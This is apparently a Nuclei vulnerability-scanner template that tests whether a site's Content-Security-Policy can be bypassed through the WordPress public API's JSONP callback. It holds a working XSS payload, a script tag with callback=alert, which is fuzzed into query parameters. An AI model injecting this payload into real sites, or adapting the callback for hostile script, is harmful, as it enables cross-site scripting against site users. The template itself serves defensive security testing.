id: wordpress-public-api-csp-bypass

info:
  name: Content-Security-Policy Bypass - WordPress Public API
  author: renniepak,DhiyaneshDK
  severity: medium
  reference:
    - https://github.com/renniepak/CSPBypass/blob/main/data.tsv
  metadata:
    verified: true
  tags: xss,csp-bypass,wordpress-public-api

flow: http(1) && headless(1)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: header
        words:
          - "Content-Security-Policy"
          - "wordpress.org"
        condition: and
        internal: true

headless:
  - steps:
      - action: navigate
        args:
          url: "{{BaseURL}}"

      - action: waitdialog
        name: wordpress_public_api_csp_xss
        args:
          max-duration: 5s

    payloads:
      injection:
        - '<script src="https://public-api.wordpress.com/rest/v1/sites/en.blog.wordpress.com/posts/?number=1&callback=alert"></script>'

    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{url_encode(injection)}}"

    matchers:
      - type: dsl
        dsl:
          - "wordpress_public_api_csp_xss == true"
# digest: 490a00463044022053b13149026b27dee50d18c02705404c410431a3c68701e00cecad809c5936c702202483df5d1f85dacac69a53d3740e692ce826756bb3f363c7d08fdf1adffeec52:922c64590222798bb761d5b6d8e72950